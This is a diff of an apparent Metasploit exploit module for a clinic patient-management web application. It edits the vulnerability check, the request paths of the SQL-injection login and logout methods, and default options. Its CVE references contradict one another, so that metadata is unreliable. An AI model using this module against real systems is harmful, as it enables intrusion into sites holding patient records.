@@ -33,7 +33,7 @@ def initialize(info = {})
33
33
[ 'CVE' , '2025-3096' ] ,
34
34
[ 'URL' , 'https://www.cve.org/CVERecord?id=CVE-2022-40471' ] ,
35
35
] ,
36
- 'DisclosureDate' => '2021-10-21 ' ,
36
+ 'DisclosureDate' => '2021-01-04 ' ,
37
37
'Notes' => {
38
38
'Stability' => [ CRASH_SAFE ] ,
39
39
'Reliability' => [ REPEATABLE_SESSION ] ,
@@ -44,28 +44,28 @@ def initialize(info = {})
44
44
45
45
register_options ( [
46
46
OptString . new ( 'TARGETURI' , [ true , 'Base path to the Clinic Patient Management System' , '/pms' ] ) ,
47
- OptBool . new ( 'DELETE_FILES' , [ true , 'Delete uploaded files after exploitation' , false ] )
47
+ OptBool . new ( 'DELETE_FILES' , [ true , 'Delete uploaded files after exploitation' , true ] )
48
48
] )
49
49
end
50
50
51
51
def check
52
52
print_status ( 'Checking if target is vulnerable...' )
53
53
54
54
res = send_request_cgi ( {
55
- 'uri' => normalize_uri ( target_uri . path + '/' ) ,
55
+ 'uri' => normalize_uri ( target_uri . path ) ,
56
56
'method' => 'GET'
57
57
} )
58
58
59
59
return Exploit ::CheckCode ::Unknown ( 'Unexpected response code from server' ) unless res &.code == 200
60
60
return Exploit ::CheckCode ::Unknown ( 'Unexpected content of body' ) if res . body &.blank?
61
61
return Exploit ::CheckCode ::Safe ( 'Clinic PMS not detected' ) unless res . body . include? ( "Clinic's Patient Management System in PHP" )
62
62
63
- return Exploit ::CheckCode ::Vulnerable ( 'Clinic PMS detected' )
63
+ return Exploit ::CheckCode ::Appears ( 'Clinic PMS detected' )
64
64
end
65
65
66
66
def login_sqli
67
67
res = send_request_cgi ( {
68
- 'uri' => normalize_uri ( target_uri . path + '/ index.php' ) ,
68
+ 'uri' => normalize_uri ( target_uri . path + 'index.php' ) ,
69
69
'method' => 'POST' ,
70
70
'keep_cookies' => true ,
71
71
'vars_post' =>
@@ -137,7 +137,7 @@ def upload_payload
137
137
138
138
def logout
139
139
res = send_request_cgi ( {
140
- 'uri' => normalize_uri ( target_uri . path + '/ logout.php' ) ,
140
+ 'uri' => normalize_uri ( target_uri . path + 'logout.php' ) ,
141
141
'method' => 'GET'
142
142
} )
143
143
fail_with Failure ::UnexpectedReply , 'Unexpected response code' unless res &.code == 302
0 commit comments